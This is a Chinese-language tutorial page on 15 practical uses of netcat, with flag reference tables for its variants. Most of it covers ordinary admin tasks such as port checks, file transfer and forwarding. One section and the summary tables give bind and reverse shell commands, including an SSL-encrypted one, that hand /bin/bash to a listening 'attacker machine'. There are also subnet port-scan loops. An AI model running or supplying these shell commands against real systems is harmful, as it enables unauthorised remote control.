当前位置:首页>Linux>Linux 网络运维神器:netcat(nc)的 15 个实战用法

Linux 网络运维神器:netcat(nc)的 15 个实战用法

  • 2026-10-11 07:23:55
Linux 网络运维神器:netcat(nc)的 15 个实战用法
telnet 太弱、nmap 太重?netcat 是 Linux 网络调试的瑞士军刀,只有几十 KB,却能完成端口扫描、文件传输、后门监听、代理转发等高级操作。本文从基础到进阶,手把手教你用好 nc。

一、netcat 是什么

项目
详情
全称
netcat,简称 nc
大小
通常 20-50 KB
定位
"网络界的瑞士军刀"
功能
端口探测、文件传输、远程 shell、代理转发
版本
OpenBSD nc(推荐)、GNU nc、Ncat(Nmap 套件)

安装:

# CentOS/RHEL/Rockysudo yum install nc# Ubuntu/Debiansudo apt install netcat-openbsd    # 推荐 OpenBSD 版本sudo apt install netcat-traditional # 传统版本# 验证版本nc -h# OpenBSD netcat (Debian patchlevel 1.206-1ubuntu1)

二、基础用法:端口探测

1. 测试 TCP 端口连通性

# 基础用法:连接远程端口nc -vz 192.168.1.100 22# Connection to 192.168.1.100 22 port [tcp/ssh] succeeded!# 多个端口nc -vz 192.168.1.100 80 443 3306# 端口范围扫描nc -vz 192.168.1.100 1-1000

参数说明:

参数
含义
-v
详细输出
-z
零 I/O 模式(只扫描,不发送数据)
-w 3
超时 3 秒

2. 与 telnet 对比

命令
优点
缺点
telnet host port
交互式,可看 banner
无超时控制,卡住不动
nc -vz host port
可设超时、批量扫描、脚本友好
非交互
# telnet 卡住时按 Ctrl+] 退出# nc 自动超时退出nc -vz -w 3 192.168.1.100 80    # 3秒超时

三、文件传输:不用 scp 也能传

3. 传输单个文件

# 接收端(先启动,监听端口)nc -l 1234 > received_file.tar.gz# 发送端nc 192.168.1.100 1234 < file.tar.gz# 传输完成自动断开

4. 传输目录(配合 tar)

# 接收端nc -l 1234 | tar xzvf -# 发送端tar czvf - /data/app | nc 192.168.1.100 1234# 原理:tar 打包 → 管道 → nc 传输 → 接收端 tar 解压

5. 带进度显示

# 发送端用 pv 显示进度pv file.tar.gz | nc 192.168.1.100 1234# 接收端nc -l 1234 > file.tar.gz

四、远程 shell:快速后门调试

6. 正向 shell(服务端监听)

# 服务端(被控制端)启动监听nc -lvp 4444 -e /bin/bash# 客户端连接,获得 shellnc 192.168.1.100 4444# 现在可以执行命令了

7. 反向 shell(客户端连接服务端)

# 攻击机(监听等待连接)nc -lvp 4444# 目标机(主动连接攻击机)nc 192.168.1.200 4444 -e /bin/bash# 攻击机获得目标机的 shell

正向 vs 反向:

类型
适用场景
防火墙影响
正向
目标机有公网 IP
需目标机放行端口
反向
目标机在内网/防火墙后
需攻击机有公网 IP

8. 加密传输(配合 openssl)

# 生成证书openssl req -x509 -nodes -days 365 -newkey rsa:2048 \    -keyout nc.key -out nc.crt# 加密监听ncat --ssl --ssl-key nc.key --ssl-cert nc.crt -lvp 4444 -e /bin/bash# 加密连接ncat --ssl 192.168.1.100 4444

五、端口扫描:轻量替代 nmap

9. TCP SYN 扫描

# 扫描单个主机的常用端口nc -vz -w 2 192.168.1.100 20-80# 扫描多台主机的 22 端口for ip in 192.168.1.{1..254}; do    nc -vz -w 1 $ip 22 2>&1 | grep succeededdone

10. UDP 端口扫描

# UDP 扫描(需要 -u 参数)nc -vzu 192.168.1.100 53# Connection to 192.168.1.100 53 port [udp/domain] succeeded!# UDP 端口范围nc -vzu -w 2 192.168.1.100 1-1000

11. 获取服务 banner

# 连接后发送空行,获取服务版本信息echo "" | nc -v 192.168.1.100 80# 或发送 HTTP 请求printf "HEAD / HTTP/1.0\r\n\r\n" | nc 192.168.1.100 80

六、代理与转发

12. 简单端口转发

# 将本地 8080 转发到远程 80nc -lvp 8080 -c "nc 192.168.1.100 80"# 访问本地 8080 = 访问远程 80curl http://localhost:8080

13. HTTP 代理

# 简易 HTTP 代理(需配合脚本)mkfifo backpipenc -lvp 8080 0<backpipe | tee -a request.log | nc www.example.com 80 1>backpipe

七、高级用法

14. 创建 Web 服务器(临时)

# 最简单的 HTTP 服务器{ echo -ne "HTTP/1.0 200 OK\r\nContent-Length: $(wc -c < index.html)\r\n\r\n"; cat index.html; } | nc -l 8080# 循环服务(处理多个请求)while true; do    { echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat index.html; } | nc -l 8080done

15. 配合 tar + nc 备份远程服务器

# 远程服务器执行(发送端)tar czf - /data/important | nc -l 1234# 本地执行(接收端)nc remote-server 1234 | tar xzf - -C /backup/# 或反向:本地监听,远程主动发送# 本地nc -l 1234 | tar xzf - -C /backup/# 远程tar czf - /data/important | nc local-server 1234

八、nc vs ncat vs nc.traditional 对比

版本
来源
特点
推荐度
OpenBSD nc
OpenBSD 移植
功能精简,安全
⭐⭐⭐⭐⭐
GNU nc
GNU 项目
功能多,-e 参数
⭐⭐⭐⭐
nc.traditional
旧版
有 -e 后门功能
⭐⭐⭐
ncat
Nmap 套件
SSL、代理、IPv6
⭐⭐⭐⭐⭐

选择建议:

  • 日常调试:OpenBSD nc(大多数系统默认)

  • 需要 SSL:ncat

  • 需要 -e 反弹 shell:GNU nc 或 nc.traditional


九、生产环境安全注意

风险
说明
防范
反弹 shell
nc -e 被黑客利用
生产环境删除 nc 或限制权限
明文传输
nc 默认不加密
敏感数据用 ncat --ssl 或 SSH
端口暴露
nc -l 监听端口被扫描
防火墙限制来源 IP
数据泄露
传输过程被截获
配合 tar + gzip + openssl 加密

安全替代方案:

# 文件传输:用 scp/rsync 替代scp file.tar.gz user@remote:/backup/# 远程 shell:用 SSH 替代ssh user@remote# 端口扫描:用 nmap 替代(功能更强)nmap -sS -O 192.168.1.100

十、总结速查表

场景
命令
测试 TCP 端口
nc -vz host port
测试 UDP 端口
nc -vzu host port
传输文件
接收:nc -l port > file 发送:nc host port < file
传输目录
tar czf - dir | nc host port
正向 shell
nc -lvp port -e /bin/bash
反向 shell
nc host port -e /bin/bash
端口扫描
nc -vz -w 2 host 1-1000
临时 HTTP 服务
{ echo HTTP头; cat file; } | nc -l port
带超时连接
nc -vz -w 3 host port

连接模式参数

参数
全称
说明
示例
-h
help
显示帮助信息
nc -h
-v
verbose
详细输出,显示连接过程
nc -v 192.168.1.100 80
-vv
very verbose
更详细的输出
nc -vv 192.168.1.100 80
-n
numeric
不解析域名,直接使用 IP
nc -vn 192.168.1.100 80
-w SECS
timeout
设置超时时间(秒)
nc -vw 3 192.168.1.100 80
-s ADDR
source
指定源地址
nc -s 10.0.0.5 192.168.1.100 80
-p PORT
port
指定源端口(特权端口需 root)
nc -p 1234 192.168.1.100 80
-u
UDP
使用 UDP 协议(默认 TCP)
nc -vu 192.168.1.100 53
-4
IPv4
强制使用 IPv4
nc -4 192.168.1.100 80
-6
IPv6
强制使用 IPv6
nc -6 fe80::1 80
-k
keep-open
连接完成后保持连接(OpenBSD nc)
nc -k 192.168.1.100 80
-X PROTO
proxy protocol
指定代理协议(4, 5, connect)
nc -X connect -x proxy:8080 target 80
-x ADDR:PORT
proxy
指定代理地址和端口
nc -x 10.0.0.1:8080 target.com 80
-z
zero-I/O
零 I/O 模式,只扫描端口不发送数据
nc -vz 192.168.1.100 1-1000

监听模式参数

参数
全称
说明
示例
-l
listen
监听模式,等待连接
nc -l 1234
-lp PORT
listen port
监听指定端口(传统 nc)
nc -lp 1234
-lvp PORT
listen verbose port
详细监听
nc -lvp 1234
-e CMD
execute
连接后执行命令(后门功能,GNU nc)
nc -lvp 4444 -e /bin/bash
-c CMD
command
连接后执行命令(OpenBSD nc)
nc -lvp 4444 -c '/bin/bash'
-o FILE
output hexdump
将数据以十六进制保存到文件
nc -lvp 1234 -o dump.hex
-i SECS
interval
发送行间隔延迟
nc -lvp 1234 -i 1

OpenBSD nc 特有参数

参数
全称
说明
示例
-N
shutdown
发送 EOF 后关闭网络套接字
echo "data" | nc -N 192.168.1.100 80
-q SECS
quit
标准输入 EOF 后等待秒数再退出
echo "GET /" | nc -q 1 192.168.1.100 80
-U
Unix domain
使用 Unix 域套接字
nc -U /var/run/docker.sock
-F
pass-fd
传递文件描述符
高级用法
-B
allow broadcast
允许广播
nc -B -u 255.255.255.255 9
-I LENGTH
TCP receive buffer
设置 TCP 接收缓冲区长度
nc -I 65535 192.168.1.100 80
-O LENGTH
TCP send buffer
设置 TCP 发送缓冲区长度
nc -O 65535 192.168.1.100 80
-T keyword
IP options
设置 IP 选项(如 tos)
nc -T minimize-delay 192.168.1.100 80
-R CAfile
CA file
指定 CA 证书文件(用于验证)
nc -R ca.crt 192.168.1.100 443
-r
randomize
随机化端口和目标地址
nc -r 192.168.1.100 1000-2000
-S
TLS
启用 TLS(OpenBSD nc 部分版本)
nc -S 192.168.1.100 443
-t
telnet
响应 Telnet 协商
nc -lt 1234
-D
debug
启用套接字调试
nc -D 192.168.1.100 80

GNU nc 特有参数

参数
全称
说明
示例
-g GATEWAY
gateway
指定源路由网关(最多 8 个)
nc -g 10.0.0.1 192.168.1.100 80
-G NUM
pointer
设置源路由指针
nc -G 4 192.168.1.100 80
-d
detach
从标准输入分离,后台运行
nc -d 192.168.1.100 80
-L
listen harder
持续监听(传统 nc,类似 OpenBSD 的 -k)
nc -L 1234
-O FILE
hex output
十六进制输出到文件
nc -O output.hex 192.168.1.100 80
--send-only
send only
只发送数据,不接收
nc --send-only 192.168.1.100 80 < file
--recv-only
receive only
只接收数据,不发送
nc --recv-only -l 1234 > file
--no-shutdown
no shutdown
半关闭套接字
nc --no-shutdown 192.168.1.100 80
--broker
broker
启用连接代理模式(多个客户端)
nc --broker -l 1234
--chat
chat
启用聊天模式
nc --chat -l 1234

ncat(Nmap 套件)特有参数

参数
全称
说明
示例
--ssl
SSL/TLS
启用 SSL 连接
ncat --ssl 192.168.1.100 443
--ssl-cert
SSL certificate
指定 SSL 证书
ncat --ssl --ssl-cert cert.pem -l 443
--ssl-key
SSL key
指定 SSL 私钥
ncat --ssl --ssl-key key.pem -l 443
--ssl-verify
SSL verify
验证对端证书
ncat --ssl-verify 192.168.1.100 443
--ssl-trustfile
SSL trust file
指定信任证书文件
ncat --ssl --ssl-trustfile ca.crt 192.168.1.100 443
--proxy TYPE:HOST:PORT
proxy
指定代理
ncat --proxy http:10.0.0.1:8080 target.com 80
--proxy-auth USER:PASS
proxy auth
代理认证
ncat --proxy-auth admin:123456 --proxy ...
--sh-exec CMD
shell execute
执行 shell 命令
ncat --sh-exec "echo Hello" -l 1234
--exec CMD
execute
执行命令(类似 -e)
ncat --exec /bin/bash -l 4444
--max-conns NUM
max connections
最大连接数
ncat --max-conns 10 -l 1234
--keep-open
keep open
保持监听,接受多个连接
ncat --keep-open -l 1234
--broker
broker
连接代理模式
ncat --broker -l 1234
--chat
chat
聊天服务器模式
ncat --chat -l 1234
--allow HOST
allow host
允许特定主机连接
ncat --allow 192.168.1.100 -l 1234
--deny HOST
deny host
拒绝特定主机连接
ncat --deny 10.0.0.0/8 -l 1234
--append-output
append output
追加输出到文件
ncat -l 1234 --append-output log.txt

参数组合速查

场景
完整命令
TCP 端口扫描nc -vz -w 2 192.168.1.100 1-1000
UDP 端口扫描nc -vzu -w 2 192.168.1.100 53
传输文件(接收)nc -lvp 1234 > received_file.tar.gz
传输文件(发送)nc -v 192.168.1.100 1234 < file.tar.gz
正向 shellnc -lvp 4444 -e /bin/bash
反向 shellnc 192.168.1.200 4444 -e /bin/bash
加密反向 shellncat --ssl 192.168.1.200 4444 -e /bin/bash
HTTP 请求printf "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80
临时 HTTP 服务器{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat index.html; } | nc -l 8080
Unix 域套接字nc -U /var/run/docker.sock
通过代理连接nc -X connect -x proxy:8080 target.com 80
带超时的批量扫描nc -vzw 1 192.168.1.100 20-80 2>&1 | grep succeeded
持续监听多个连接ncat --keep-open -l 1234
聊天服务器ncat --chat -l 1234

版本差异速查

功能
OpenBSD nc
GNU nc
ncat
-e
 反弹 shell
❌
✅
✅(--exec)
-c
 执行命令
✅
❌
✅(--sh-exec)
-k
 保持监听
✅
❌(用 -L)
✅(--keep-open)
-z
 零 I/O
✅
✅
✅
-u
 UDP
✅
✅
✅
SSL/TLS
部分支持
❌
✅(--ssl)
代理支持
-X-x-X-x--proxy
IPv6
✅
✅
✅
Unix 域套接字
✅(-U)
❌
✅(-U)
连接代理(broker)
❌
✅(--broker)
✅(--broker)

一句话总结

nc 是网络调试的螺丝刀:没有电钻(nmap)专业,没有锤子(scp)有力,但拧螺丝、撬瓶盖、量尺寸都能干,而且只有 50KB。

最新文章

随机文章